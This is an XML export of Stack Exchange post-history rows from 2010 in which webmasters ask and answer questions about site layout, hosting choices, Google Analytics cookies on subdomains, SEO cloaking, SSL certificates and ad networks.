  <row Id="5434" PostHistoryTypeId="2" PostId="2799" RevisionGUID="810adec2-0cdf-4f25-b41d-1183f9f07613" CreationDate="2010-09-06T00:56:00.443" UserId="1323" Text="I'm building a web application that revolves mostly around a grid, a treeview, and a toolbar.  There is also an autocomplete section at the top of the site.&#xD;&#xA;&#xD;&#xA;Since I have never been trained in website design, and am mostly self taught, what would you recommend I do to make this look nicer?  Do you know of any similar sites that I could imitate?&#xD;&#xA;&#xD;&#xA;The primary issue for me is what do I do with the toolbar &amp; the content below it?  &#xD;&#xA;How should I style/treat the search box at the top?&lt;br &gt;&#xD;&#xA;Should I add a menu above the toolbar containing pretty much the same stuff the bar has?&lt;br&gt;&#xD;&#xA;What else do you recommend?&#xD;&#xA;&#xD;&#xA;http://www.tlsadmin.com/tlsadmin/portalhome.aspx&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/URU9t.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/5pj35.png" />
  <row Id="5435" PostHistoryTypeId="1" PostId="2799" RevisionGUID="810adec2-0cdf-4f25-b41d-1183f9f07613" CreationDate="2010-09-06T00:56:00.443" UserId="1323" Text="How should I layout my page if I only have a toolbar, but  Menu?  (as it typically is)" />
  <row Id="5436" PostHistoryTypeId="3" PostId="2799" RevisionGUID="810adec2-0cdf-4f25-b41d-1183f9f07613" CreationDate="2010-09-06T00:56:00.443" UserId="1323" Text="&lt;website-design&gt;&lt;graphics&gt;" />
  <row Id="5437" PostHistoryTypeId="2" PostId="2800" RevisionGUID="0cfc68da-8c78-4ba5-94c1-77929406a987" CreationDate="2010-09-06T05:20:27.383" UserId="138" Text="We've had great success with [LiveZilla][1] and [ClickAndChat][2]. LiveZilla is free, but you need to host it yousrelf. ClickAndChat is not free, but comes with hosting.&#xD;&#xA;&#xD;&#xA;They're both actually primarily &quot;chat&quot; based software for interacting with your visitors, but you can easilly throw that side out and just use it for instant tracking of visitors. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.livezilla.net/&#xD;&#xA;  [2]: http://www.clickandchat.com/" />
  <row Id="5438" PostHistoryTypeId="2" PostId="2801" RevisionGUID="771c2d62-97ff-4f75-8c51-ec9a6fb2eb0c" CreationDate="2010-09-06T07:38:11.233" UserId="172" Text="I am looking for a wysiwyg editor to allow user to edit part of their website. I already worked with [TinyMCE][1], and heard about [CKEditor][2], which both look great. However, they both lack a free (PHP) file manager/uploader, as they sell their own tool to make some money.&#xD;&#xA;&#xD;&#xA;I found a few free alternatives for TinyMCE, the best one (for my needs) being [PHP Letter's one][3], but I was wondering about what the community uses ?&#xD;&#xA;&#xD;&#xA;Do you buy the &quot;official&quot; file manager ? Do you code your own ? Or do you have a great (free) alternative ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tinymce.moxiecode.com/&#xD;&#xA;  [2]: http://ckeditor.com/&#xD;&#xA;  [3]: http://www.phpletter.com/Demo/Tinymce-Ajax-File-Manager/" />
  <row Id="5439" PostHistoryTypeId="1" PostId="2801" RevisionGUID="771c2d62-97ff-4f75-8c51-ec9a6fb2eb0c" CreationDate="2010-09-06T07:38:11.233" UserId="172" Text="What file manager/uploader do you use with your embeded wysiwyg editor ?" />
  <row Id="5440" PostHistoryTypeId="3" PostId="2801" RevisionGUID="771c2d62-97ff-4f75-8c51-ec9a6fb2eb0c" CreationDate="2010-09-06T07:38:11.233" UserId="172" Text="&lt;php&gt;&lt;wysiwyg&gt;&lt;file-manger&gt;" />
  <row Id="5441" PostHistoryTypeId="2" PostId="2802" RevisionGUID="c443849f-8826-4421-8005-88d911e568fd" CreationDate="2010-09-06T07:57:32.513" UserId="745" Text="Check out the [MooTools File Manager][1] and [hints][2] on how one might integrate it with CKEditor. Note that the demo for the File Manager is down, so you'll have to download it locally to test it out. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mootools.net/forge/p/mootools_filemanager&#xD;&#xA;  [2]: http://stackoverflow.com/questions/2152239/ckeditor-customization" />
  <row Id="5442" PostHistoryTypeId="2" PostId="2803" RevisionGUID="0e5c690c-6bb2-43b8-b653-4f4be638d48d" CreationDate="2010-09-06T09:18:05.253" UserId="1306" Text="I'm currently looking for a hosting company that can provide a very solid service with a 100% SLA.&#xD;&#xA;&#xD;&#xA;In the search both cloud hosting and managed dedicated hosting have come up. (I'd rather not manage the server myself as I'm still rather new to Linux.)&#xD;&#xA;&#xD;&#xA;I'm not sure if phrasing this as a &quot;which is best&quot; would make sense, but what advantages does cloud hosting have over dedicated server hosting?&#xD;&#xA;&#xD;&#xA;I need a reliable service above all else, and some elements of the application to be hosted will be relatively CPU intensive, although those spikes in CPU usage will be sporadic, so the hosting needs to be able to deal with that." />
  <row Id="5443" PostHistoryTypeId="1" PostId="2803" RevisionGUID="0e5c690c-6bb2-43b8-b653-4f4be638d48d" CreationDate="2010-09-06T09:18:05.253" UserId="1306" Text="Cloud hosting vs dedicated hosting: advantages and disadvantages" />
  <row Id="5444" PostHistoryTypeId="3" PostId="2803" RevisionGUID="0e5c690c-6bb2-43b8-b653-4f4be638d48d" CreationDate="2010-09-06T09:18:05.253" UserId="1306" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;cloud-hosting&gt;" />
  <row Id="5445" PostHistoryTypeId="2" PostId="2804" RevisionGUID="4e523ff6-c81b-4bee-8713-ef77e5af5132" CreationDate="2010-09-06T09:42:24.643" UserId="1867" Text="&lt;a href=&quot;http://stackoverflow.com/questions/3609145/seo-domain-com-and-domain-co-uk/3649988#3649988&quot;&gt;As I have posted on the identical question on Stack Overflow.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;[From the SitePoint FAQ on Search Engine Optimisation.][1]&#xD;&#xA;&#xD;&#xA;&gt; **How do improve my rankings for country&#xD;&#xA;&gt; specific search?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; To rank better in country specific&#xD;&#xA;&gt; search you should:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1) Use the country specific TLD&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2) Host the site in that country&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3) Set the geographic location for the&#xD;&#xA;&gt; site in Google Webmaster Tools&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/forums/showthread.php?t=182915#Section52" />
  <row Id="5446" PostHistoryTypeId="2" PostId="2805" RevisionGUID="b9afce9c-ccc9-45dc-ad7a-d0faa9e9009f" CreationDate="2010-09-06T11:10:41.143" UserId="1857" Text="&gt; what advantages does cloud hosting have over dedicated server hosting?&#xD;&#xA;&#xD;&#xA;There is no answer to that in the abstract; or the general answer to that is at least too long to type up here. You need to start with a picture of which architecture you desire and which load you forecast, and then evaluate the hosting architecture on that basis. Just for a beginning, which programming language you use matters, and you didn't say.&#xD;&#xA;&#xD;&#xA;To give you something to go on, in short form:&#xD;&#xA;&#xD;&#xA; - Understand the [CAP theorem][1]. Cloud hosting usually offers storage APIs that lean to the A-P side of CAP, such as Amazon SimpleDB and S3.&#xD;&#xA; - Cloud hosting implies that scaling out will not be a problem, i.e. you can spool up 100 new servers without prior warning, and you will get them.&#xD;&#xA; - Cloud hosting should have some network-centric and monitoring-centric addons that make managing a fleet of servers easier, fx HTTP load balancing, monitoring, auto-scaling.&#xD;&#xA;&#xD;&#xA;&gt; I need a reliable service above all else&#xD;&#xA;&#xD;&#xA;That IMHO points to either:&#xD;&#xA;&#xD;&#xA; - A fully managed VPS or dedicated server provider like Rackspace, Engine Yard, Joyent and others.&#xD;&#xA;&#xD;&#xA;**OR**&#xD;&#xA;&#xD;&#xA; - A 'full-stack' cloud computing provider like Google App Engine or Windows Azure (as opposed to Amazon EC2, which requires you to manage the operating system, backups, security patching etc yourself).&#xD;&#xA;&#xD;&#xA;Either of the above would be good starting points -- but again, it comes down to the specifics of your architecture, and your growth expectations.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CAP_theorem" />
  <row Id="5447" PostHistoryTypeId="2" PostId="2806" RevisionGUID="26fb4cf3-9172-4153-bfd7-09c44c8e0147" CreationDate="2010-09-06T11:12:34.090" UserId="1064" Text="Without an idea of the kind of traffic you'll be seeing or your plans for growth, I can't speak to whether you'll do better with a clustered/grid-computing option or a traditional dedicated server, however, (as I've worked in the hosting industry for years) I can say that you will not find a reputable company with a 100% SLA - there is no such thing as guaranteed 100% uptime with any service and anyone who promises as much is hiding something (perhaps something so simple as overcharging every month to allow for credit issuance in the event of downtime)." />
  <row Id="5448" PostHistoryTypeId="5" PostId="2805" RevisionGUID="30acde99-7268-4654-b9c5-a39a3b646c5f" CreationDate="2010-09-06T11:18:06.943" UserId="1857" Comment="added 346 characters in body; added 31 characters in body" Text="&gt; what advantages does cloud hosting have over dedicated server hosting?&#xD;&#xA;&#xD;&#xA;There is no answer to that in the abstract; or the general answer to that is at least too long to type up here. You need to start with a picture of which architecture you desire and which load you forecast, and then evaluate the hosting architecture on that basis. Just for a beginning, which programming language you're using matters a great deal, and you didn't say.&#xD;&#xA;&#xD;&#xA;**To give you a partial answer, in short form:**&#xD;&#xA;&#xD;&#xA; - Understand the [CAP theorem][1]. Cloud hosting usually offers storage APIs that lean to the A-P side of CAP, such as Amazon SimpleDB and S3.&#xD;&#xA; - Cloud hosting implies that scaling out will not be a problem, i.e. you can spool up 100 new servers without prior warning, and you will get them.&#xD;&#xA; - Cloud hosting should have some network-centric and monitoring-centric addons that make managing a fleet of servers easier, fx HTTP load balancing, monitoring, auto-scaling.&#xD;&#xA;&#xD;&#xA;**Please note that:**&#xD;&#xA;&#xD;&#xA; - If you're just using a few servers, then cloud computing isn't really that different from traditional VPS hosting.&#xD;&#xA; - If you use those highly scalable storage APIs (like SimpleDB), then you do of course gain a platform to handle lots of growth. On the flip side, you're also strongly locked in by the cloud computing vendor.&#xD;&#xA;&#xD;&#xA;&gt; I need a reliable service above all else&#xD;&#xA;&#xD;&#xA;That IMHO points to either:&#xD;&#xA;&#xD;&#xA; - A fully managed VPS or dedicated server provider like Rackspace, Engine Yard, Joyent and others.&#xD;&#xA;&#xD;&#xA;**OR**&#xD;&#xA;&#xD;&#xA; - A 'full-stack' cloud computing provider like Google App Engine or Windows Azure (as opposed to Amazon EC2, which requires you to manage the operating system, backups, security patching etc yourself).&#xD;&#xA;&#xD;&#xA;Either of the above would be good starting points -- but again, it comes down to the specifics of your architecture, and your growth expectations.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CAP_theorem" />
  <row Id="5449" PostHistoryTypeId="5" PostId="2737" RevisionGUID="a0e98d36-fabe-472a-b297-08d247bd2030" CreationDate="2010-09-06T12:08:52.193" UserId="1429" Comment="added 161 characters in body; added 6 characters in body; added 7 characters in body" Text="1. do you know how much money you need to live one year? Let's say 25K pesos.&#xD;&#xA;&#xD;&#xA;2. Double them up, becasue you will have to pay taxes on those money, so 50K.&#xD;&#xA;&#xD;&#xA;3. One year of work is about 260 days (considering you don't work on Sat and Sun)&#xD;&#xA;&#xD;&#xA;4. Remove form those dayd some vacation days and sick time days.&#xD;&#xA;In US I think emplyees start with 1/2 weeks of vacation and 1 week of sick time, don't know in Philippines. So let's suppose youi work 238 days (= 260 - 15 - 7)&#xD;&#xA;&#xD;&#xA;5. Every day you work 8 hours, so you work 1904 hours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**TOTAL: you must earn at least: 26 pesos per hour: (= 50K / 1904)**&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**UPDATE (thanks to the comments provided):**&#xD;&#xA;&#xD;&#xA;and don't forget to always double your time estimates, if you think it will take 5 hours, charge 260 pesos (5x2x26).&#xD;&#xA;" />
  <row Id="5450" PostHistoryTypeId="2" PostId="2807" RevisionGUID="78c8b266-9909-4556-8a53-9e4c45769210" CreationDate="2010-09-06T12:45:05.793" UserId="233" Text="Firstly, the fact that Google has not indexed either URL variant does not indicate a problem with the URL itself. It's more likely a different reason, like Googlebot hasn't crawled that page yet or doesn't think it's interesting enough.&#xD;&#xA;&#xD;&#xA;I would suggest a few steps:&#xD;&#xA;&#xD;&#xA;1. **Remove the redirection entirely**. As you say the URLs are treated as the same anyway. In fact Google Chrome automatically converts `%28` into `(`. You may find some browsers do the opposite - `(` into `%28` - which may cause problems.&#xD;&#xA;2. **Link to 'canonical' version**. In other words, make sure all links that you have control over point to the correct, parenthesised, version.&#xD;&#xA;3. **Put the canonical version in your sitemap**. If you don't already have an XML sitemap, create one and submit it to Google Webmaster Tools.&#xD;&#xA;4. **Use rel=canonical** to set the correct URL. If you put the parenthesised version in there, Google should show that in search results instead of the other one.&#xD;&#xA;&#xD;&#xA;One final suggestion would be to remove special characters from URLs where possible. Your URLs seem to be based on files names. Perhaps when you upload a file, generate a 'slug' for use on the website, e.g. `pdf-report-server-install-on-linux-only` and use that in the URL instead." />
  <row Id="5451" PostHistoryTypeId="2" PostId="2808" RevisionGUID="49c1e906-d231-461d-921c-27bad54b1dfa" CreationDate="2010-09-06T12:51:20.503" UserId="798" Text="Provided the customer is willing to pay the bill, I advise them to buy TinyMCE's File-/ImageManager. Since it integrates nicely, it's transparent to the users." />
  <row Id="5452" PostHistoryTypeId="2" PostId="2809" RevisionGUID="2f6d17c6-ec55-4e22-8e8c-5f6f5279b87a" CreationDate="2010-09-06T13:23:28.697" UserId="232" Text="I have my web site at `example.com`, and i have also setup a sub domain for serving static content at `static.example.com`.  &#xD;&#xA;On my web pages I'm using Google Analytics, so it will attach its cookies to all page request, even on `static.example.com`.   &#xD;&#xA;&#xD;&#xA;I went into the GA settings and added a filter to exclude `static.example.com`, but I still see cookies (with the `__utma`.. name) on all web requests to my static domain.&#xD;&#xA;&#xD;&#xA;How can i prohibit GA to use cookies on my sub domain?&#xD;&#xA;" />
  <row Id="5453" PostHistoryTypeId="1" PostId="2809" RevisionGUID="2f6d17c6-ec55-4e22-8e8c-5f6f5279b87a" CreationDate="2010-09-06T13:23:28.697" UserId="232" Text="How can I tell Google Analytics to not use cookies for my sub domain?" />
  <row Id="5454" PostHistoryTypeId="3" PostId="2809" RevisionGUID="2f6d17c6-ec55-4e22-8e8c-5f6f5279b87a" CreationDate="2010-09-06T13:23:28.697" UserId="232" Text="&lt;google-analytics&gt;&lt;cookie&gt;" />
  <row Id="5455" PostHistoryTypeId="2" PostId="2810" RevisionGUID="7639702f-e620-4667-bf0d-eaa8372b9dd3" CreationDate="2010-09-06T13:52:40.480" UserId="1253" Text="If the tree view on the left enables a user to navigate to any page they wish/need to view then you're probably, ok. However, for the sake of usability, you may want to use [breadcrumbs][1] at the top of the page to help the user navigate to important sections or back track the way the came. &#xD;&#xA;&#xD;&#xA;You may also want to link to important sections or commonly used sections/pages. This could be at the top or at the bottom of the page and should be properly labeled (i.e. &quot;important pages&quot; or &quot;most visited pages&quot;). Basically the more a user uses a page the easier it should be to get to it.&#xD;&#xA;&#xD;&#xA;I would clearly label the search box as being such (Putting the word &quot;search&quot; to the left of it should do the trick). You may also want to offer an advanced search that allows a user to narrow down their search criteria.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Breadcrumb_(navigation)" />
  <row Id="5456" PostHistoryTypeId="6" PostId="2799" RevisionGUID="1fece11b-5e70-4815-abc6-98552309b488" CreationDate="2010-09-06T13:53:11.337" UserId="1253" Comment="added website-review tag" Text="&lt;website-design&gt;&lt;graphics&gt;&lt;website-review&gt;" />
  <row Id="5457" PostHistoryTypeId="2" PostId="2811" RevisionGUID="a774ea0c-14d7-43ff-ad96-795d38cddbcf" CreationDate="2010-09-06T14:01:39.417" UserDisplayName="Petr Palas" Text="if you want a CMS that will allow you to easily edit your website, implement your existing design and localize it to multiple languages, look at Kentico CMS for ASP.NET (http://www.kentico.com). It's used by 4,000+ websites in 84 countries and it comes with excellent support and 7-day bug fixing policy. &#xD;&#xA;&#xD;&#xA;It's a full-featured CMS platform that will grow with your needs. For your current website, you can easily start with Free Edition. You should be able to convert your site fairly easily and if you need help with site design, you can choose from 1,000+ Kentico partners (http://www.kentico.com/Partners/Solution-Partners.aspx).&#xD;&#xA;&#xD;&#xA;Should you have any questions, please feel free to contact us (http://www.kentico.com/Company.aspx).&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Petr Palas, Kentico" />
  <row Id="5458" PostHistoryTypeId="2" PostId="2812" RevisionGUID="bc01e6c4-2132-493a-9daa-168ea31dde53" CreationDate="2010-09-06T14:37:59.250" UserId="221" Text="You can not do this. Any cookie issue for domain example.com is valid for all subdomains of example.com.&#xD;&#xA;&#xD;&#xA;If you wish to have static.example.com be a cookie free domain, you should serve up the main site at www.example.com (you can provide a 301 redirect from example.com to www.example.com).&#xD;&#xA;&#xD;&#xA;As static.example.com is not a subdomain of www.example.com (rather a sibling), it will not share its cookies." />
  <row Id="5459" PostHistoryTypeId="5" PostId="2812" RevisionGUID="98ce77ec-c279-4123-a372-630b95a69337" CreationDate="2010-09-06T14:44:03.020" UserId="221" Comment="added 257 characters in body" Text="You can not do this. Any cookie issue for domain example.com is valid for all subdomains of example.com.&#xD;&#xA;&#xD;&#xA;If you wish to have static.example.com be a cookie free domain, you should serve up the main site at www.example.com (you can provide a 301 redirect from example.com to www.example.com).&#xD;&#xA;&#xD;&#xA;As static.example.com is not a subdomain of www.example.com (rather a sibling), it will not share its cookies.&#xD;&#xA;&#xD;&#xA;This doesn't really have anything to do with Google Analytics, this is simply how the WWW works. Even if you could tell GA to not send the cookies to static.example.com that wouldn't help your other users who would not have access to this information.&#xD;&#xA;" />
  <row Id="5460" PostHistoryTypeId="2" PostId="2813" RevisionGUID="31e077e4-8fea-4d2f-b1eb-b1f4d6de048b" CreationDate="2010-09-06T15:02:34.503" UserId="233" Text="Like Kris said, any cookies set on `example.com` will be available on `static.example.com` and other subdomains. If you want to keep the site without the `www.` then I'd suggest using a different domain name (for example, Stack Overflow uses http://sstatic.net).&#xD;&#xA;&#xD;&#xA;If you have multiple domains already, for example `yourbusiness.net` redirecting to `yourbusiness.com` then you can simply use the .net one to host all the static content." />
  <row Id="5461" PostHistoryTypeId="2" PostId="2814" RevisionGUID="119ffb7a-e8e7-4042-93a6-6d8b6b5b24de" CreationDate="2010-09-06T15:22:14.470" UserId="105" Text="I start noticing that some Google results are links to some Google redirect engine. But almost all the others are direct links.&#xD;&#xA;&#xD;&#xA;Are they starting to count the clicks to better rank your site?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/QvzJr.png" />
  <row Id="5462" PostHistoryTypeId="1" PostId="2814" RevisionGUID="119ffb7a-e8e7-4042-93a6-6d8b6b5b24de" CreationDate="2010-09-06T15:22:14.470" UserId="105" Text="Why some Google results are drive-by-redirects instead of direct links?" />
  <row Id="5463" PostHistoryTypeId="3" PostId="2814" RevisionGUID="119ffb7a-e8e7-4042-93a6-6d8b6b5b24de" CreationDate="2010-09-06T15:22:14.470" UserId="105" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="5464" PostHistoryTypeId="2" PostId="2815" RevisionGUID="01f13329-fc2d-4251-8fc8-9fce98941d92" CreationDate="2010-09-06T15:24:55.127" UserId="1455" Text="Like this (with the new GA code)&#xD;&#xA;&#xD;&#xA;_gaq.push(&#xD;&#xA;    ['_setAccount', 'UA-xxxxx-x'],&#xD;&#xA;    ['_setDomainName', 'www.example.com'],&#xD;&#xA;    ['_trackPageview']&#xD;&#xA;);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It still won't block other 3rd party apps you may be using from setting cookies to your static subdomain but at least you are getting rid of the GA cookies which are quite large." />
  <row Id="5465" PostHistoryTypeId="2" PostId="2816" RevisionGUID="26a3c591-686e-4b67-95ac-ffac543b2027" CreationDate="2010-09-06T15:37:28.957" UserId="1253" Text="They do this if you are logged into your Google account to keep track of your search history (which you can later search or review).&#xD;&#xA;&#xD;&#xA;They also have done this in the past to see how their search results are being used.&#xD;&#xA;&#xD;&#xA;They do **not** use it for ranking sites. It can be manipulated way too easily for that." />
  <row Id="5466" PostHistoryTypeId="2" PostId="2817" RevisionGUID="36259869-2125-4362-81ca-fe7a8f009f11" CreationDate="2010-09-06T15:41:06.123" UserId="233" Text="Actually, all of the links go through a Google redirect. Check with Firebug or Dev Tools in Chrome, you'll see the URLs are something like `/url?sa=t&amp;source=web&amp;cd=11&amp;ved=0CBgQF....` I assume they use some form of Javascript to make the browser show the real URL in the status bar." />
  <row Id="5467" PostHistoryTypeId="2" PostId="2818" RevisionGUID="883e2a12-aa26-408f-b1cf-e32291eb62e0" CreationDate="2010-09-06T15:43:55.380" UserDisplayName="morpheous" Text="Are there any free tools for competitor analysis?&#xD;&#xA;&#xD;&#xA;1. I want to find out keywords that a site is optimized for by typing in a Url&#xD;&#xA;2. I want to find out competition (a number) for a given phrase or keyword - Google Jeyword tool gives a visual bar. I need a number so I can sort the data in Excel" />
  <row Id="5468" PostHistoryTypeId="1" PostId="2818" RevisionGUID="883e2a12-aa26-408f-b1cf-e32291eb62e0" CreationDate="2010-09-06T15:43:55.380" UserDisplayName="morpheous" Text="Free seo tools for competitor analysis?" />
  <row Id="5469" PostHistoryTypeId="3" PostId="2818" RevisionGUID="883e2a12-aa26-408f-b1cf-e32291eb62e0" CreationDate="2010-09-06T15:43:55.380" UserDisplayName="morpheous" Text="&lt;seo&gt;" />
  <row Id="5470" PostHistoryTypeId="2" PostId="2819" RevisionGUID="d9e87bb4-e562-431d-982d-a73d881e482f" CreationDate="2010-09-06T16:14:24.633" UserId="1034" Text="I have a website offering translation services in several languages ([www.your-translations.com][1]), as well as many articles for translators and translation software. &#xD;&#xA;&#xD;&#xA;Most visitors come from search engines and I want to customize the experience for the visitors based on the search string. For instance, if the visitor searches for &quot;English to French translation&quot;, I want to show him the page on English to French translation instead of a generic &quot;Translation services&quot; page and if he searches for tech detail on a translation software, I would rather direct him straight to the article section. &#xD;&#xA;&#xD;&#xA;Google and other SEs have a tendency to send most of my visitors straight to my home page which is less than ideal for the visitors. After all, if they search for French, odds are that they don't care about my pages on the Chinese market. &#xD;&#xA;&#xD;&#xA;The problem is that it results in some minor cloaking (The SE collected the page as &quot;Translation services&quot;, but I display &quot;English to French translation services&quot; to the visitor) which is supposed to be a major no-no for SEs, even though it actually improves the website usability for the visitor.  &#xD;&#xA; &#xD;&#xA;Is there a better way to do the same thing? Or am I simply worrying too much about what Google &amp; co will do about such an evil instance of cloaking?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.your-translations.com &quot;(www.your-translations.com)&quot;" />
  <row Id="5471" PostHistoryTypeId="1" PostId="2819" RevisionGUID="d9e87bb4-e562-431d-982d-a73d881e482f" CreationDate="2010-09-06T16:14:24.633" UserId="1034" Text="Serve pages based on search query AND avoid cloaking" />
  <row Id="5472" PostHistoryTypeId="3" PostId="2819" RevisionGUID="d9e87bb4-e562-431d-982d-a73d881e482f" CreationDate="2010-09-06T16:14:24.633" UserId="1034" Text="&lt;google&gt;&lt;query-string&gt;" />
  <row Id="5473" PostHistoryTypeId="2" PostId="2820" RevisionGUID="19964cfb-f43e-4b64-9e35-dac266896fa3" CreationDate="2010-09-06T16:22:40.987" UserId="1253" Text="You are not cloaking. Cloaking is intentionally serving up different content to the search engines then you are to human visitors for the purpose of SERP manipulation. You are not doing this. &#xD;&#xA;&#xD;&#xA;Dynamic content is normal and part of the every day web. I see lots of websites that tailor their pages to users referred by search engines usually in the form of keyword highlighting but I am sure others are more creative then that. What you are doing falls into this category as you are merely tailoring your pages to suit what you think your visitors are looking for. The search engines would get the same content if they followed the same path as the search user.&#xD;&#xA;&#xD;&#xA;So you are not cloaking and, IMHO, offering up a better user experience which is a plus." />
  <row Id="5474" PostHistoryTypeId="2" PostId="2821" RevisionGUID="3e294d48-b681-457e-88c3-8996bed52d6d" CreationDate="2010-09-06T16:34:41.210" UserId="99" Text="The links start out pointing directly to the actual result. When you click on the link, an `onmousedown` event handler changes it to the redirect link. If you click a link and drag the mouse off of it (so you don't actually follow the link), you will start seeing the redirect link in the status bar for that link." />
  <row Id="5475" PostHistoryTypeId="5" PostId="2820" RevisionGUID="1197657a-c3aa-462a-87e6-a3e1dc51f840" CreationDate="2010-09-06T16:45:50.913" UserId="1253" Comment="added 55 characters in body" Text="You are not cloaking. [Cloaking][1] is intentionally serving up different content to the search engines then you are to human visitors for the purpose of SERP manipulation. You are not doing this. &#xD;&#xA;&#xD;&#xA;Dynamic content is normal and part of the every day web. I see lots of websites that tailor their pages to users referred by search engines usually in the form of keyword highlighting but I am sure others are more creative then that. What you are doing falls into this category as you are merely tailoring your pages to suit what you think your visitors are looking for. The search engines would get the same content if they followed the same path as the search user.&#xD;&#xA;&#xD;&#xA;So you are not cloaking and, IMHO, offering up a better user experience which is a plus.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cloaking" />
  <row Id="5476" PostHistoryTypeId="2" PostId="2822" RevisionGUID="3d5eee55-b5a2-476f-a4d7-da43b2a38194" CreationDate="2010-09-06T18:04:02.643" UserId="1424" Text="how comes that some SSL certificates are free ? What does that mean ? Are they secure or not ?" />
  <row Id="5477" PostHistoryTypeId="1" PostId="2822" RevisionGUID="3d5eee55-b5a2-476f-a4d7-da43b2a38194" CreationDate="2010-09-06T18:04:02.643" UserId="1424" Text="free SSL certificates ?" />
  <row Id="5478" PostHistoryTypeId="3" PostId="2822" RevisionGUID="3d5eee55-b5a2-476f-a4d7-da43b2a38194" CreationDate="2010-09-06T18:04:02.643" UserId="1424" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="5479" PostHistoryTypeId="16" PostId="1130" RevisionGUID="c8df13fb-0f05-4596-b2e9-f91ae55b71e4" CreationDate="2010-09-06T18:04:12.583" UserId="586" Comment="Made cw as this is a 'best' question; edited title" />
  <row Id="5480" PostHistoryTypeId="4" PostId="1130" RevisionGUID="c8df13fb-0f05-4596-b2e9-f91ae55b71e4" CreationDate="2010-09-06T18:04:12.583" UserId="586" Comment="Made cw as this is a 'best' question; edited title" Text="Best  alternative to Adsense for a small website?" />
  <row Id="5481" PostHistoryTypeId="2" PostId="2823" RevisionGUID="dfccfd0a-53e1-462c-8881-c8da94cef4dd" CreationDate="2010-09-06T18:11:12.133" UserId="586" Text="I've [posted it once][1] to the adsense ad forum, but as usual Google does not respond to help requests, and I got no real answers.&#xD;&#xA;&#xD;&#xA;I am having issues integrating my Adsense and Analytics accounts. The accounts seem integrated from Adsense (I get a working &quot;go to analytics&quot; link), but all the analytics are flatlined - they show zero revenues although they are non-zero.&#xD;&#xA;&#xD;&#xA;What can I do to resolve this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/AdSense/thread?tid=1cb907196596459c&amp;hl=en" />
  <row Id="5482" PostHistoryTypeId="1" PostId="2823" RevisionGUID="dfccfd0a-53e1-462c-8881-c8da94cef4dd" CreationDate="2010-09-06T18:11:12.133" UserId="586" Text="Problem integrating Adsen with Google Analytics" />
  <row Id="5483" PostHistoryTypeId="3" PostId="2823" RevisionGUID="dfccfd0a-53e1-462c-8881-c8da94cef4dd" CreationDate="2010-09-06T18:11:12.133" UserId="586" Text="&lt;google-analytics&gt;&lt;google-adsense&gt;" />
  <row Id="5484" PostHistoryTypeId="2" PostId="2824" RevisionGUID="fadfd637-b2cd-48e8-9a8a-8f7ae91cd7f1" CreationDate="2010-09-06T18:24:27.557" UserId="1253" Text="The only reason why companies charge for SSL certificates is they put time and effort into creating the certificate and expect to be paid for their work (at a profit of course). But they don't *have* to charge if they don't want to just like any free provider of services can do. What matters with SSL certificates is whether the major browser makers recognize the certificate issuers as trustworthy or not. If they do the browser will display the site as secure just like it would from any other recognized provider. If they don't then any user attempting to access a web page secured by the unrecognized certificate will see a warning letting them know that the certificate is not recognized and warn them not to proceed.&#xD;&#xA;&#xD;&#xA;So the real question is, &quot;which free provides are recognized by the major browser makers as being authoritative&quot;?" />
  <row Id="5485" PostHistoryTypeId="2" PostId="2825" RevisionGUID="28906ea3-1ac4-489d-a06c-e0c5ed1c53b6" CreationDate="2010-09-06T18:35:03.083" UserId="586" Text="I am not sure Google Adsense is the right ad network for me. I'd like to experiment with a few other options.&#xD;&#xA;&#xD;&#xA;I would like to setup another ad network, say [Project Wonderful][1], and have my site display 50% of its ads through Adsense, and 50% through PW. What's the simplest way to achieve this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.projectwonderful.com/" />
  <row Id="5486" PostHistoryTypeId="1" PostId="2825" RevisionGUID="28906ea3-1ac4-489d-a06c-e0c5ed1c53b6" CreationDate="2010-09-06T18:35:03.083" UserId="586" Text="How can I show multiple ad networks on my site?" />
  <row Id="5487" PostHistoryTypeId="3" PostId="2825" RevisionGUID="28906ea3-1ac4-489d-a06c-e0c5ed1c53b6" CreationDate="2010-09-06T18:35:03.083" UserId="586" Text="&lt;advertising&gt;" />
